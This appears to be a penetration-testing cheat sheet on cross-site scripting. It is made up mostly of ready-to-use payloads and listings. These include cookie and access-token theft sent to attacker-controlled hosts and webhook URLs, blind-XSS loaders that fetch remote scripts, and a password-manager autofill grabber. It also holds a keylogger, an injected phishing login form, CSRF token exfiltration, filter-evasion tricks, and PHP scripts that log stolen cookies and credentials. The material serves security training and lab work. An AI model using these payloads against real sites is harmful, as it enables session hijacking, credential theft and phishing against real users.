XSS
Cross Site Scripting.
Occurs when incorrectly programmed input can be used to insert HTML or execute code (JavaScript) in a user's web browser.
Types:
Reflected
Stored
DOM-based
Blind
Steps:
Search for inputs that are displayed
Understand type and if it is
TAG
orATTRIBUTE
XSSTry special characters:
<
>
‘
“
{
}
;
Try evasion techniques
Exploitation (choosing attack type)
Tools
XSS scanner.
xsstrike -u "<URL>" --crawl -l 4
(crawling)
xsstrike -u "<URL>?q=query"
(GET)
xsstrike -u "<URL>" --data "q=query"
(POST)
xsstrike -u "<URL>" —fuzzer
(filters and WAF detect)
An automatic framework to detect, exploit and report XSS vulnerabilities.
xsser --wizard
(guided start)
xsser --gtk
(GUI)
Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK).
Edit /etc/beef-xss/config.yaml
or beef/config.yaml
Be careful and try with quote and tag injection to escape the syntax.
k"><svg/onload=alert(1)><!--
k'><svg/onload=alert(1)><!--
k";alert(1);
XSS
print()
alert(1)
javascript:alert(1)
location.href='http://<IP>?log='+document.cookie;
document.location='http://<IP>?log='+document.cookie;
window.location='http://<IP>?log='+document.cookie;
var i=new Image();i.src="http://<IP>?log="+document.cookie;
new Image().src="http://<IP>?log="+document.cookie;
(async () => {let x = await fetch("/api/target").then(res => res.text()); window.location="https://webhook.site/"+btoa(x)})()
It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.
Trigger
<script>XSS<script>
<img src=x onerror=XSS>
<svg onload=XSS>
<!-- Other tags like <body> <iframe>, and other events etc. -->
<object data="data:text/html,<script>XSS</script>">
<object data= "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- Even with <embed src=...> -->
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
Sources
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Sinks
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
// Object.Array.Function(XSS Vector)
// Instead of [] you can use: “” ''
// Instead of constructor also: map at
// In the first version in both positions (with alert(1))
// In the second only in the first constructor (with 'alert(1)')
[].constructor.constructor(alert(1))
[].constructor.constructor('alert(1)')()
''.at.at(alert(1))
''.at.constructor('alert(1)')()
[]['map']['map'](alert(1))
[]['map']['constructor']('alert(1)')()
// in this way I can use encoding
window[alert(1)]
window[’alert’](1)
// Instead of window also: this, top, globalThis
eval.call`${"alert(1)"}`
Extra
<iframe src=my-account onload=this.contentDocument.forms[1].submit()>
let A = `ABCD ${alert()}`
http://xss_site/search?fetch(`http://<MY_IP>/?log=${document.cookie}`)//&q=<script>eval(location.search.slice(1))</script>
http://xss_site/search?q=<script>eval(location.href.slice(115))</script>&;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;window.location=`http://<MY_IP>/log=`+document.cookie;
Trigger action without user interaction
<iframe src="https://vulnerable-website.com/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'">
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
<iframe src="https://vulnerable-website.com" onload="if(!window.x)this.src='https://vulnerable-website.com';window.x=1;">
SVG change attribute
<svg><text><a><animate attributeName=href values=javascript:alert(1) />Click me</a></text></svg>
Autofocus
autofocus onfocus=alert(document.domain)
Key user interaction (no space)
'accesskey='X'onclick='alert(1)
# (ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Script tag (the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)
<script>
...
var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>
onerror=alert;throw 1
{onerror=alert}throw 1
throw onerror=alert,'some string',123,'aaaa'
// Chrome prefixes the string sent to the exception handler with "Uncaught"
// On Firefox the exception gets prefixed with a two word string "uncaught exception"
{onerror=eval}throw'=alert\x281337\x29' // Uncaught=alert(1337)
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} // Firefox
{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]
TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
Param in function
FUNCTION(PARAM1,x=x=>{throw/**/onerror=alert,123456789},toString=x``,window+'',PARAM2)
csrf
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
...
}
Dangling Markup
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" value="
x">
</form>
<form class="login-form" name="my-form" action="https://webhook/" method="GET">
<button class="button" type="submit">CLICK</button
">
<input required type="hidden" name="csrf" value="[value]">
The csrf will be sent in the GET.
<script>
if(window.name) {
new Image().src='//WEBHOOK?'+encodeURIComponent(window.name);
} else {
location = 'https://vuln-website?vulnparam=%22%3E%3Ca%20href=%22https://WEBHOOK/%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
"><a href="https://WEBHOOK/">Click me</a><base target='
Obfuscation and Escape
<svg/onload=alert(1)>
<svg onload=alert`1`>
// Use with <svg> tag (no CDATA, it is based on XML and does the encoding)
// They usually work in “” and ‘’.
\u0061lert(1) // Unicode
alert(1) // Hexadecimal NCR
alert(1) // Decimal NCR
\141lert(1) // Octal
\x61lert(1) // Hexadecimal
// Apply encoding
unescape()
decodeURI()
decodeURIComponent()
let/**/a/**/=/**/1234;
alert(String.fromCharCode(88,83,83))
// https://www.ascii-code.com/
17795081..toString(36)+”(1)” // Only letters and numbers, no characters
// in Python: Int(”<STR>”, 36)
/ale/.source+/rt(1)/.source
// /<STRING>/.source, it is possible to use spaces etc. between / and /
atob("YWxlcnQoMSk=") // base64
Blind XSS
It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.
<script src="http://<OUR_IP>/jscript.js"></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://<OUR_IP>/jscript.js\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//<OUR_IP>/jscript.js");a.send();</script>
<script>$.getScript("http://<OUR_IP>/jscript.js")</script>
Having on your own server
document.location="http://<IP>?log="+document.cookie
Types of attacks
Cookie Stealing
The goal is to steal the session cookie. Once you get the session cookie you can use it and enter it into your browser to access the victim's session.
<script>location.href='http://<MY_IP>?data='+document.cookie</script>
<script>document.location='http://<MY_IP>?data='+document.cookie</script>
<script>document.location='http://<MY_IP>?data='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://<MY_IP>?data="+document.cookie;</script>
<script>new Image().src="http://<MY_IP>?data="+localStorage.getItem('access_token');</script>
To organize cookies, on your server:
sudo php -S 0.0.0.0:80
<?php
$cookie = $_GET['data'];
$file = fopen('cookies.txt', 'a+');
fwrite($file, 'Cookie:'.$cookie."\r\n");
fclose($file);
?>
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
csrf
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
Capture Passwords
These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.
<input required="" type="username" name="username" autofocus="">
<input required="" type="password" name="password" onchange="if(this.value.length)fetch('https://bobby.free.beeceptor.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
csrf
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
<script>
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', `${username}:${password}`);
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
Defacing
Change the appearance of the web page. This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.
Adds HTML elements
document.write()
JQuery: add()
, after()
, append()
Background color
document.body.style.background
document.body.style.background = "#141d2b"
document.body.style.background = "black"
Background with image
document.body.background
document.body.background = "<https://www.hackthebox.eu/images/logo-htb.svg>"
Page title
document.title
document.title = 'HackTheBox Academy'
Page elements
DOM.innerHTML
DOM.outerHTML
document.getElementById("todo").innerHTML = "New Text"
document.getElementsByTagName('body')[0].innerHTML = "New Text"
(change the first body, usually the only one)
Removing elements
DOM.remove()
document.getElementById("todo").remove()
es.
<script>document.body.style.background="black";document.title="Pwn!";document.getElementsByTagName('body')[0].innerHTML='<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>
Phishing
Through XSS, it is possible to insert self-created login forms inside trusted pages, making them very dangerous.
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
Need to edit and delete the other elements of the page, see Defacing. Convert payload to a single line with MinifyHTML or see Java Deobfuscation.
To organize requests, on your server:
sudo php -S 0.0.0.0:80
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
$u = $_GET['username'];
$p = $_GET['password'];
fputs($file, "Username: {$u} | Password: {$p}\n"); # also fwrite()
fclose($file);
header("Location: http://SERVER_IP/phishing/index.php"); # <- Redirect wherever you want
exit();
}
?>
Keylogging
Getting the keys pressed by the victim.
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
Content Security Policy
Browser security mechanism that aims to mitigate XSS and some other attacks.
HTTP response header called Content-Security-Policy
with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
CSP policy injection
script-src-elem 'none'; script-src-attr 'unsafe-inline'
"script-src-elem" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (it will overwrite existing script-src directives!).
<img src=1 onerror=alert()>
Last updated
Was this helpful?